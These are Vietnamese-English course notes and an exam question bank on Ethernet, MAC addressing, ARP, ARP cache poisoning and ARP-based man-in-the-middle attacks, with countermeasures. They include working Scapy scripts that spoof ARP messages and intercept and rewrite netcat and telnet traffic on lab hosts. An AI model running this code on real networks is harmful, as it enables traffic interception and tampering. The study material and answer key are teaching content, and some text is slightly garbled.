Skip to content

CHƯƠNG 7: DATA LINK LAYER AND ARP ATTACKS¤

Sending side: - Encapsulates datagram trong frame - Thêm error checking bits - Reliable data transfer, flow control

Receiving side: - Kiểm tra errors, reliable transfer, flow control - Extracts datagram, passes lên upper layer

2. MAC ADDRESS¤

A. ĐẶC ĐIỂM¤

So với IP Address: - IP address (32-bit): Network-layer address, dùng cho layer 3 forwarding - MAC address (48-bit): Link-layer address, dùng locally để chuyển frame giữa các interface vật lý kết nối trực tiếp (cùng subnet)

Format: - 48-bit cho hầu hết LANs - Burned in NIC ROM, đôi khi software settable - Ví dụ: 1A-2F-BB-76-09-AD (hexadecimal notation)

B. PHÂN BỔ VÀ QUẢN Lݤ

IEEE allocation: - MAC address allocation do IEEE quản lý - Manufacturer mua portion của MAC address space → đảm bảo uniqueness

Tương tự: - MAC address giống Social Security Number (cố định, unique) - IP address giống Postal address (thay đổi theo vị trí)

C. TÍNH PORTABLE¤

MAC flat address: - Portability: Có thể move interface từ LAN này sang LAN khác - IP address KHÔNG portable: Phụ thuộc vào IP subnet

D. ETHERNET FRAME STRUCTURE (IEEE 802.3)¤

Cấu trúc:

Text Only
[Preamble | Dest MAC | Src MAC | Type | Data | FCS]

Type field quan trọng: - 0x0800: IPv4 - 0x0806: ARP

3. PRIVACY ISSUE VỚI MAC¤

Vấn đề: - MAC address là unique - Khi walk around Mall, talk với WiFi Access Point → tell your MAC address - APs có thể remember your MACtrace where you have been

Giải pháp: - MAC address randomization - Probe APs = using software-generated MAC address

Trade-off: - PERFORMANCE vs PRIVACY

PHẦN 2: ARP PROTOCOL¤

1. MỤC ĐÍCH¤

Question: Làm sao xác định interface's MAC address khi biết IP address?

Answer: ARP (Address Resolution Protocol)

2. ARP TABLE (CACHE)¤

Mỗi IP node (host, router) trên LAN có table chứa:

Text Only
<IP address; MAC address; TTL>

TTL (Time To Live): - Thời gian sau đó address mapping sẽ bị forgotten - Typically 20 minutes

Linux commands: - arp -n: Show ARP cache - arp -d: Delete an ARP entry

3. ARP PROTOCOL HOẠT ĐỘNG¤

Ví dụ: A muốn gửi datagram cho B¤

Bước 1: A broadcasts ARP query - Chứa B's IP address - Destination MAC = FF-FF-FF-FF-FF-FF (broadcast) - Tất cả nodes trên LAN nhận ARP query

Ethernet frame:

Text Only
Source MAC: 71-65-F7-2B-08-53
Source IP: 137.196.7.23
Target IP: 137.196.7.14
Dest MAC: FF-FF-FF-FF-FF-FF

Bước 2: B replies với ARP response - Gửi unicast (chỉ cho A) - Chứa B's MAC address

ARP message:

Text Only
Target IP: 137.196.7.14
Target MAC: 58-23-D7-FA-20-B0
Dest MAC: 71-65-F7-2B-08-53 (A's MAC)

Bước 3: A receives B's reply - Adds B entry vào local ARP table - TTL = 500 seconds (example)

4. ROUTING TO ANOTHER SUBNET¤

Scenario: A gửi datagram cho B qua Router R

Assumptions: - A knows B's IP address - A knows R's IP address (first hop router) - A knows R's MAC address (qua ARP)

Bước 1: A → R¤

A creates: - IP datagram: src = A's IP, dst = B's IP - Link-layer frame: dst MAC = R's MAC (NOT B's!)

Quan trọng: - IP header: A → B (không đổi) - MAC header: A → R (local delivery)

Bước 2: R receives¤

  • Frame received, datagram extracted
  • Passed up to IP layer

Bước 3: R → B¤

R creates: - IP datagram: src = A's IP, dst = B's IP (giữ nguyên) - Link-layer frame: src MAC = R's MAC, dst MAC = B's MAC

Bước 4: B receives¤

  • Extracts IP datagram
  • Passes up protocol stack

Bottom line: - ARP maps address of one protocol (Ethernet) to address of another protocol (IP) - ARP là stateless protocol

5. ARP REQUEST VÀ REPLY¤

3 loại ARP messages:

1. ARP Request: - Broadcast (FF-FF-FF-FF-FF-FF) - Hỏi: "Who has IP X? Tell MAC Y"

2. ARP Reply: - Unicast - Trả lời: "IP X is at MAC Z"

3. ARP Gratuitous: - Broadcast hoặc unicast - Announce: "My IP X is at MAC Y" - Mục đích: Update ARP caches, detect IP conflicts

PHẦN 3: ARP CACHE POISONING ATTACK¤

1. GOAL¤

Mục tiêu: Poisoning the cache of ARP

2. NGUYÊN LÝ HOẠT ĐỘNG¤

Key fact: ARP is a STATELESS protocol

Question: Làm sao cause ARP update cache?

Answer: Gửi: 1. ARP Request 2. ARP Reply 3. ARP Gratuitous

Khi ARP request/reply/gratuitous đến → ARP cache sẽ được UPDATE!

Idea tấn công: Spoofing ARP messages

3. SPOOFING ARP MESSAGES BẰNG SCAPY¤

A. SPOOFING ARP REQUEST¤

Scenario: - Attacker IP: 10.102.20.154 - Target IP: 10.102.20.178, MAC: 00:50:56:a8:1a:d3 - Victim IP: 10.102.20.177, MAC: 00:50:56:a8:0e:77

Code:

Python
from scapy.all import *

E = Ether()
E.dst = "00:50:56:a8:0e:77"  # Victim's MAC (unicast)

A = ARP()
A.op = 1  # ARP Request
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.177"  # Victim IP
A.hwdst = "00:50:56:a8:0e:77"  # Victim MAC

sendp(E/A)

Kết quả: - Victim nhận ARP request - Thấy: 10.102.20.178 mapped to aa🇧🇧cc:dd:ee:ff (FAKE!) - Tự động add vào ARP cache

Before:

Text Only
10.102.20.178 → 00:50:56:a8:1a:d3 (real)

After:

Text Only
10.102.20.178 → aa:bb:cc:dd:ee:ff (FAKE!)

B. SPOOFING ARP REPLY¤

Code:

Python
E = Ether()
E.dst = "00:50:56:a8:0e:77"  # Victim's MAC

A = ARP()
A.op = 2  # ARP Reply
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.177"  # Victim IP
A.hwdst = "00:50:56:a8:0e:77"  # Victim MAC

sendp(E/A)

C. SPOOFING ARP GRATUITOUS¤

Code:

Python
E = Ether()
E.dst = "ff:ff:ff:ff:ff:ff"  # Broadcast

A = ARP()
A.op = 1  # Request (hoặc 2 cho Reply)
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.178"  # SAME as psrc!
A.hwdst = "00:00:00:00:00:00"  # All zeros hoặc broadcast

sendp(E/A)

4. QUAN SÁT QUAN TRỌNG¤

ARP Request: - Không quan trọng entry đã có trong cache hay chưa - Target sẽ tự động accept spoofed request

ARP Reply và Gratuitous: - Thường là response to request HOẶC đã có entry trong cache - Vấn đề: Nếu chưa có entry?

Giải pháp: Trigger target put Valid entry vào cache

Cách: 1. Send spoofed ICMP echo request to target (pretending to be victim) 2. Target replies to victim → cần biết victim's MAC 3. Target sends ARP request for victim 4. NOW entry tồn tại → có thể poison!

PHẦN 4: MAN-IN-THE-MIDDLE (MITM) ATTACK USING ARP¤

1. GENERAL IDEA¤

Normal communication:

Text Only
Alice → Bob (directly)

MITM:

Text Only
Alice → Micheal (attacker) → Bob
Micheal can SEE or MODIFY traffic

Question: What if attacker NOT in the middle?

Answer: Need to REDIRECT traffic

Methods: - Link layer: ARP cache poisoning - Network layer: ICMP redirect - Application layer: DNS cache poisoning

2. MITM VỚI ARP CACHE POISONING¤

Setup ban đầu:¤

Alice (A):

Text Only
ARP table:
IP_B → MAC_B

Bob (B):

Text Only
ARP table:
IP_A → MAC_A

Micheal (M): Attacker (phải cùng network với A và B)

Bước 1: Cache Poison cả A và B¤

Poison Alice: - Tell A: "IP_B is at MAC_M"

Poison Bob: - Tell B: "IP_A is at MAC_M"

Kết quả:

Alice's ARP table:

Text Only
IP_B → MAC_M (FAKE!)

Bob's ARP table:

Text Only
IP_A → MAC_M (FAKE!)

Bước 2: A gửi packet cho B¤

IP header: - src = IP_A - dst = IP_B - (Không đổi!)

MAC header: - src = MAC_A - dst = MAC_M (vì ARP cache bị poison!)

Packet đến M!

Bước 3: M nhận packet - 2 Scenarios¤

Scenario 1: M configured as ROUTER - IP Forwarding = 1 - Kernel automatically relay packet to B - M chỉ cần sniff để xem/modify

Scenario 2: M configured as HOST - IP Forwarding = 0 (default) - dst IP ≠ M's IP → Kernel drops packet - B KHÔNG nhận được packet!

Vậy phải làm gì?

3. GIẢI PHÁP: SNIFF VÀ SPOOF¤

Vấn đề: Kernel drops packets (vì dst IP ≠ M's IP)

Giải pháp:

Step 1: Open Raw Socket - Tell kernel: "Before you drop them, give me a copy!"

Step 2: Sniff packets - Receive copy of packets trước khi kernel drops

Step 3: Modify packets - Change content as desired

Step 4: Spoof modified packets - Forward to real destination (B)

Kết quả: - B receives MODIFIED packet from A - B thinks packet từ A (IP src = A) - M is in the middle!

4. CODE EXAMPLE: MITM TRÊN NETCAT¤

Python
#!/usr/bin/env python3
from scapy.all import *

VM_A = "10.9.0.5"
VM_B = "10.9.0.6"
MAC_A = "02:42:0a:09:00:05"
MAC_B = "02:42:0a:09:00:06"
MAC_M = "02:42:0a:09:00:69"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
        # Intercept A → B
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)  # Remove checksums
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            # Modify data
            newdata = data.replace(b'kevin', b'AAAAA')
            send(newpkt/newdata)  # Scapy recalculates checksums
        else:
            send(newpkt)

    elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
        # Relay B → A (không modify)
        send(pkt[IP])

# Sniff and intercept
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

Giải thích: - Sniff TCP packets từ A hoặc B - Nếu A → B: Replace 'kevin' với 'AAAAA' - Nếu B → A: Forward không đổi - Delete checksums → Scapy tự động recalculate

5. CODE EXAMPLE: MITM TRÊN TELNET¤

Lưu ý về Telnet: - Netcat: Gửi cả dòng trong 1 TCP packet - Telnet: Mỗi character = 1 TCP packet, server echo back

Code:

Python
def spoof_pkt(pkt):
    if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            # Replace all alphabet characters with 'A'
            newdata = re.sub(r'[a-zA-Z]', r'A', data.decode())
            send(newpkt/newdata.encode())
        else:
            send(newpkt)

    elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
        send(pkt[IP])

f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
sniff(iface='eth0', filter=f, prn=spoof_pkt)

PHẦN 5: VẤN ĐỀ VÀ COUNTERMEASURES¤

1. HẠN CHẾ CỦA ARP CACHE POISONING¤

Câu hỏi (Fiction): "In 2019, Russia hackers launched many ARP cache poisoning attacks from Russia against White House network. Do you applaud?"

Answer: NO!

Lý do: - You have to be INSIDE network to launch ARP cache poisoning - Không thể attack từ xa (Russia → White House) - → It's not that significant attack

Bottom line: - ARP hoạt động ở Link layer (Layer 2) - Chỉ trong same subnet/LAN - Không route qua Internet

2. COUNTERMEASURES¤

Best countermeasure: ENCRYPTION!

Lý do: - Hiện nay: Nhiều communications được encrypted (HTTPS, SSH, VPN...) - Attacker vẫn có thể launch cache poisoning - Nhưng MITM attack will NOT be successful - Vì won't be able to MODIFY traffic (encrypted!)

Chỉ còn có thể: - Denial of Service (drop packets) - Không thể đọc/modify content

Encryption is the BEST countermeasure against most MITM attacks

3. COUNTERMEASURES KHÁC¤

1. Static ARP Entries: - Manually configure ARP table - Không bị update bởi ARP messages - Nhược điểm: Không scalable, khó maintain

2. ARP Monitoring Tools: - Detect ARP cache changes - Alert khi suspicious ARP traffic - Tools: ARPwatch, XArp

3. Port Security (Switch level): - Bind MAC addresses to switch ports - Prevent MAC spoofing - Cisco: Port Security feature

4. 802.1X Authentication: - Authenticate devices trước khi allow network access

5. VLANs: - Segment network - Giảm broadcast domain - Limit ARP poisoning scope

PHẦN 6: PACKET SNIFFING ISSUE - HOMEWORK¤

Task: Observe difference giữa 2 commands:

Command 1:

Bash
ping 1.2.3.4  # Non-existing, NOT on local network

Command 2:

Bash
ping 10.20.20.111  # Non-existing, on local network (same subnet)

Attacker: 10.102.20.154 (sniffing) Victim: 10.102.20.177 (ping)

Question: Sự khác biệt?

Answer:

Command 1 (1.2.3.4 - khác subnet): - Victim checks: 1.2.3.4 NOT on local network - Gửi qua default gateway (router) - ARP query cho router's MAC (NOT 1.2.3.4!) - Packet: dst MAC = router, dst IP = 1.2.3.4 - Attacker CÓ THỂ sniff ICMP packets nếu cùng LAN

Command 2 (10.20.20.111 - cùng subnet): - Victim checks: 10.20.20.111 ON local network - ARP query for 10.20.20.111 (broadcast) - Attacker CÓ THỂ sniff ARP request! - Nếu không ai reply → ICMP packets KHÔNG được gửi (no MAC address!) - Nếu attacker spoof ARP reply → có thể intercept!

Key difference: - Khác subnet: ARP for gateway, ICMP được gửi - Cùng subnet: ARP for destination, nếu không reply → NO ICMP


NGÂN HÀNG CÂU HỎI CHƯƠNG 7¤

Câu 1: Data Link layer ở sending side làm gì?

A. Chỉ gửi packets

B. Encapsulates datagram trong frame, thêm error checking

C. Routing packets

D. Mã hóa data

Câu 2: Data Link layer ở receiving side làm gì?

A. Chỉ nhận frames

B. Kiểm tra errors, extracts datagram, passes lên upper layer

C. Forward packets

D. Decrypt data

Câu 3: MAC address có độ dài bao nhiêu bits?

A. 32 bits

B. 48 bits

C. 64 bits

D. 128 bits

Câu 4: IP address có độ dài bao nhiêu bits?

A. 16 bits

B. 32 bits (IPv4)

C. 48 bits

D. 64 bits

Câu 5: MAC address được dùng cho mục đích gì?

A. Layer 3 forwarding

B. Locally chuyển frame giữa interfaces vật lý kết nối trực tiếp (same subnet)

C. Routing qua Internet

D. DNS resolution

Câu 6: IP address được dùng cho mục đích gì?

A. Local delivery

B. Layer 3 (network layer) forwarding

C. MAC address mapping

D. Error checking

Câu 7: MAC address được lưu ở đâu?

A. RAM

B. NIC ROM (burned in), đôi khi software settable

C. Hard disk

D. CPU cache

Câu 8: MAC address allocation được quản lý bởi ai?

A. IETF

B. IEEE

C. ICANN

D. W3C

Câu 9: Manufacturer mua gì từ IEEE?

A. IP address range

B. Portion of MAC address space

C. Domain names

D. SSL certificates

Câu 10: MAC address tương tự như gì?

A. Postal address

B. Social Security Number (cố định, unique)

C. Phone number

D. Email address

Câu 11: IP address tương tự như gì?

A. Social Security Number

B. Postal address (thay đổi theo vị trí)

C. Fingerprint

D. Driver license

Câu 12: MAC address có portable không?

A. Không

B. Có - có thể move interface từ LAN này sang LAN khác

C. Tùy thuộc hệ thống

D. Chỉ trong cùng building

Câu 13: IP address có portable không?

A. Có

B. Không - phụ thuộc vào IP subnet

C. Luôn portable

D. Chỉ với static IP

Câu 14: Ethernet Type field 0x0800 nghĩa là gì?

A. ARP

B. IPv4

C. IPv6

D. ICMP

Câu 15: Ethernet Type field 0x0806 nghĩa là gì?

A. IPv4

B. ARP

C. TCP

D. UDP

Câu 16: MAC address format sử dụng notation nào?

A. Decimal

B. Binary

C. Hexadecimal (base 16)

D. Octal

Câu 17: Vấn đề privacy với MAC address?

A. Không có vấn đề

B. MAC unique → APs có thể trace where you have been

C. Dễ bị hack

D. Quá dài

Câu 18: Giải pháp cho MAC privacy issue?

A. Không dùng WiFi

B. MAC address randomization (software-generated MAC)

C. Tắt network card

D. Dùng VPN

Câu 19: Trade-off của MAC randomization?

A. Cost vs Security

B. Performance vs Privacy

C. Speed vs Reliability

D. Bandwidth vs Latency

PHẦN 2: ARP PROTOCOL¤

Câu 20: ARP viết tắt của gì?

A. Automatic Routing Protocol

B. Address Resolution Protocol

C. Advanced Research Protocol

D. Application Request Protocol

Câu 21: ARP làm gì?

A. Routing packets

B. Xác định MAC address khi biết IP address

C. Mã hóa data

D. Compress packets

Câu 22: ARP table (cache) chứa gì?

A. Chỉ IP addresses

B. Chỉ MAC addresses

C.

D. Routing information

Câu 23: TTL trong ARP table nghĩa là gì?

A. Total Transfer Limit

B. Time To Live - thời gian mapping sẽ bị forgotten

C. Type To Link

D. Transport Layer Limit

Câu 24: ARP TTL typically là bao lâu?

A. 5 minutes

B. 10 minutes

C. 20 minutes

D. 60 minutes

Câu 25: Linux command để show ARP cache?

A. ifconfig

B. arp -n

C. netstat

D. route

Câu 26: Linux command để delete ARP entry?

A. arp -a

B. arp -d

C. arp -s

D. arp -r

Câu 27: ARP Request được gửi đến MAC address nào?

A. 00:00:00:00:00:00

B. FF:FF:FF:FF:FF:FF (broadcast)

C. Router's MAC

D. Destination's MAC

Câu 28: ARP Reply được gửi đến MAC address nào?

A. Broadcast

B. Requester's MAC (unicast)

C. Router's MAC

D. All nodes

Câu 29: Khi nhận ARP Request/Reply/Gratuitous, node làm gì?

A. Ignore

B. Forward

C. Update ARP cache

D. Send ICMP

Câu 30: ARP là loại protocol gì?

A. Stateful

B. Stateless

C. Connection-oriented

D. Encrypted

Câu 31: ARP Gratuitous có mục đích gì?

A. Request MAC

B. Announce "My IP X is at MAC Y", update caches, detect IP conflicts

C. Delete ARP entries

D. Encrypt traffic

Câu 32: ARP maps address của protocol nào?

A. TCP to UDP

B. Ethernet to IP

C. IP to DNS

D. HTTP to HTTPS

PHẦN 3: ROUTING TO ANOTHER SUBNET¤

Câu 33: A gửi packet cho B (khác subnet) qua R. IP header?

A. src = A, dst = R

B. src = R, dst = B

C. src = A, dst = B (KHÔNG ĐỔI!)

D. src = B, dst = A

Câu 34: A gửi packet cho B qua R. MAC header (A → R)?

A. src = A, dst = B

B. src = A, dst = R

C. src = R, dst = B

D. src = B, dst = A

Câu 35: R forward packet đến B. IP header?

A. src = R, dst = B

B. src = A, dst = B (vẫn giữ nguyên)

C. src = A, dst = R

D. Thay đổi hoàn toàn

Câu 36: R forward packet đến B. MAC header?

A. src = A, dst = B

B. src = A, dst = R

C. src = R, dst = B

D. src = B, dst = R

Câu 37: Khi A gửi cho B (khác subnet), A cần biết gì?

A. Chỉ B's IP

B. B's MAC address

C. Router's MAC address (first hop)

D. All routers' MACs

PHẦN 4: ARP CACHE POISONING¤

Câu 38: ARP Cache Poisoning attack mục tiêu là gì?

A. Delete ARP cache

B. Poisoning (làm nhiễm độc) ARP cache

C. Encrypt ARP

D. Compress ARP

Câu 39: ARP là stateless protocol nghĩa là gì liên quan đến attack?

A. Không thể attack

B. Nhận ARP messages → tự động update cache, không verify

C. Cần authentication

D. Luôn kiểm tra

Câu 40: Gửi loại ARP message nào có thể poison cache?

A. Chỉ Request

B. Chỉ Reply

C. Request, Reply, HOẶC Gratuitous

D. Không loại nào

Câu 41: Idea chính của ARP Cache Poisoning?

A. Delete ARP

B. Spoofing ARP messages

C. Flood ARP

D. Encrypt ARP

Câu 42: Spoofed ARP Request, target sẽ làm gì?

A. Ignore

B. Verify trước

C. Tự động accept và update cache

D. Send error

Câu 43: Với ARP Reply/Gratuitous, vấn đề gì nếu chưa có entry?

A. Không có vấn đề

B. Có thể KHÔNG update cache

C. Luôn update

D. Send error

Câu 44: Giải pháp khi chưa có entry trong cache? A. Không thể poison

B. Trigger target put valid entry: Send spoofed ICMP echo request

C. Wait timeout

D. Restart network

Câu 45: ARP op code = 1 nghĩa là gì?

A. Reply

B. Request

C. Gratuitous

D. Error

Câu 46: ARP op code = 2 nghĩa là gì?

A. Request

B. Reply

C. Gratuitous

D. Error

Câu 47: Scapy code để spoof ARP Request?

A. A.op = 2

B. A.op = 1

C. A.type = "request"

D. A.cmd = "arp_req"

PHẦN 5: MAN-IN-THE-MIDDLE ATTACK¤

Câu 48: MITM attack mục đích là gì?

A. Delete traffic

B. Intercept và/hoặc modify traffic giữa A và B

C. Speed up traffic

D. Encrypt traffic

Câu 49: Để launch MITM, attacker cần gì?

A. Chỉ cần biết IP

B. Redirect traffic qua mình

C. Chỉ cần password

D. Physical access

Câu 50: Methods để redirect traffic?

A. Chỉ ARP poisoning

B. Chỉ DNS poisoning

C. Link layer (ARP), Network layer (ICMP), Application layer (DNS)

D. Chỉ ICMP redirect

Câu 51: MITM với ARP poisoning, attacker phải ở đâu?

A. Anywhere trên Internet

B. Cùng network (same LAN/subnet) với victims

C. Khác country

D. Khác continent

Câu 52: MITM với ARP, poison cache của ai?

A. Chỉ Alice

B. Chỉ Bob

C. Cả Alice VÀ Bob

D. Chỉ router

Câu 53: Sau khi poison, Alice's ARP table có gì?

A. IP_B → MAC_B (correct)

B. IP_B → MAC_M (attacker's MAC)

C. IP_M → MAC_B

D. Bị xóa

Câu 54: Sau khi poison, Bob's ARP table có gì?

A. IP_A → MAC_A (correct)

B. IP_A → MAC_M (attacker's MAC)

C. IP_M → MAC_A

D. Bị xóa

Câu 55: Alice gửi packet cho Bob sau khi bị poison. IP header?

A. src = Alice, dst = Micheal

B. src = Alice, dst = Bob (vẫn đúng!)

C. src = Micheal, dst = Bob

D. Bị thay đổi

Câu 56: Alice gửi packet cho Bob sau poison. MAC header?

A. src = Alice, dst = Bob

B. src = Alice, dst = Micheal

C. src = Micheal, dst = Bob

D. src = Bob, dst = Alice

Câu 57: Micheal configured as ROUTER (IP Forwarding = 1), điều gì xảy ra?

A. Drop packets

B. Kernel tự động relay packets to Bob

C. Send error

D. Encrypt packets

Câu 58: Micheal configured as HOST (IP Forwarding = 0), điều gì xảy ra?

A. Relay packets

B. Kernel drops packets (dst IP ≠ M's IP)

C. Forward to gateway

D. Broadcast packets

Câu 59: Nếu IP Forwarding = 0, làm sao MITM thành công?

A. Không thể

B. Bắt buộc enable IP Forwarding

C. Open raw socket, sniff packets trước khi drop, rồi spoof forward

D. Restart network

Câu 60: Raw socket giúp gì cho MITM?

A. Tăng tốc độ

B. Get copy of packets TRƯỚC KHI kernel drops

C. Mã hóa packets

D. Routing packets

Câu 61: Trong MITM code, tại sao delete checksums?

A. Không cần checksums

B. Để Scapy TỰ ĐỘNG recalculate sau khi modify

C. Checksums gây lỗi

D. Tăng tốc độ

Câu 62: Netcat vs Telnet khác nhau như thế nào về packet sending?

A. Giống nhau

B. Netcat: cả dòng trong 1 packet; Telnet: mỗi char = 1 packet

C. Telnet nhanh hơn

D. Netcat không gửi packets

PHẦN 6: COUNTERMEASURES¤

Câu 63: ARP Cache Poisoning có thể attack từ xa (remote) không?

A. Có

B. KHÔNG - phải ở INSIDE network (same LAN)

C. Tùy firewall

D. Chỉ với VPN

Câu 64: Lý do ARP poisoning không thể remote?

A. Firewall block

B. ARP hoạt động ở Link layer (Layer 2), chỉ same subnet

C. Encryption

D. Authentication required

Câu 65: Best countermeasure chống MITM attacks?

A. Firewall

B. Antivirus

C. ENCRYPTION (HTTPS, SSH, VPN)

D. Strong password

Câu 66: Tại sao Encryption là best countermeasure?

A. Tăng tốc độ

B. Attacker không thể modify encrypted traffic

C. Block ARP

D. Prevent spoofing

Câu 67: Nếu traffic được encrypt, attacker vẫn poison được không?

A. Không

B. Có - vẫn poison được nhưng MITM không thành công

C. Tùy encryption

D. Chỉ với weak encryption

Câu 68: Với encrypted traffic, attacker chỉ có thể làm gì?

A. Đọc content

B. Modify content

C. Denial of Service (drop packets)

D. Tất cả đều được

Câu 69: Static ARP entries là gì?

A. ARP tự động update

B. Manually configure, không bị update bởi ARP messages

C. Dynamic ARP

D. Random ARP

Câu 70: Nhược điểm của Static ARP?

A. Không an toàn

B. Không scalable, khó maintain

C. Quá chậm

D. Không hoạt động

Câu 71: ARP monitoring tools làm gì?

A. Generate ARP

B. Detect ARP cache changes, alert suspicious traffic

C. Block all ARP

D. Encrypt ARP

Câu 72: Tools nào cho ARP monitoring?

A. Wireshark only

B. ARPwatch, XArp

C. Chrome, Firefox

D. Word, Excel

Câu 73: Port Security (Switch level) làm gì?

A. Mở tất cả ports

B. Bind MAC addresses to switch ports, prevent MAC spoofing

C. Close all ports

D. Random ports

Câu 74: VLANs giúp gì chống ARP poisoning?

A. Encrypt traffic

B. Segment network, giảm broadcast domain, limit scope

C. Increase speed

D. Block all traffic

Câu 75: 802.1X Authentication làm gì?

A. Encrypt data

B. Authenticate devices trước khi allow network access

C. Speed up network

D. Compress traffic


ĐÁP ÁN NHANH¤

1.B 2.B 3.B 4.B 5.B 6.B 7.B 8.B 9.B 10.B 11.B 12.B 13.B 14.B 15.B 16.C 17.B 18.B 19.B 20.B 21.B 22.C 23.B 24.C 25.B 26.B 27.B 28.B 29.C 30.B 31.B 32.B 33.C 34.B 35.B 36.C 37.C 38.B 39.B 40.C 41.B 42.C 43.B 44.B 45.B 46.B 47.B 48.B 49.B 50.C 51.B 52.C 53.B 54.B 55.B 56.B 57.B 58.B 59.C 60.B 61.B 62.B 63.B 64.B 65.C 66.B 67.B 68.C 69.B 70.B 71.B 72.B 73.B 74.B 75.B


BẢNG TÓM TẮT NHANH - CHƯƠNG 7¤

  • MAC: 48-bit, burned in NIC, portable
  • IP: 32-bit, not portable, depends on subnet
  • MAC = SSN (cố định), IP = Postal (thay đổi)
  • Type: 0x0800 = IPv4, 0x0806 = ARP
  • Privacy issue: MAC unique → tracking

2. ARP PROTOCOL¤

  • Mục đích: IP → MAC address
  • ARP Table: (20 min)
  • Request: Broadcast (FF:FF:FF:FF:FF:FF)
  • Reply: Unicast
  • Stateless: Nhận → tự động update, không verify

3. ROUTING SUBNET¤

  • Same subnet: Direct delivery (dst MAC = dest)
  • Different subnet: Qua router
  • IP: A → B (không đổi)
  • MAC: A → R, rồi R → B

4. ARP CACHE POISONING¤

  • Goal: Poison ARP cache
  • Method: Spoof ARP Request/Reply/Gratuitous
  • Scapy:
  • A.op = 1 (Request)
  • A.op = 2 (Reply)
  • Set fake hwsrc

5. MITM ATTACK¤

  • Requirements: Same LAN/subnet
  • Steps:
  • Poison cả A và B: IP_B → MAC_M, IP_A → MAC_M
  • Traffic qua M
  • If IP Forwarding = 0: Raw socket sniff + spoof
  • Code: Delete checksums → Scapy recalc

6. COUNTERMEASURES¤

  • Best: ENCRYPTION (HTTPS, SSH, VPN)
  • Lý do: Không modify được encrypted traffic
  • Others: Static ARP, Monitoring, Port Security, VLANs, 802.1X

7. LIMITATIONS¤

  • ARP poisoning: CHỈ inside network (same LAN)
  • KHÔNG THỂ remote (Layer 2, không route)

CHUẨN BỊ THI: Nhớ kỹ MAC vs IP, ARP workflow (Request broadcast → Reply unicast), ARP stateless, spoofing với Scapy (op=½, hwsrc), MITM steps, IP Forwarding=0 solution, và Encryption best countermeasure!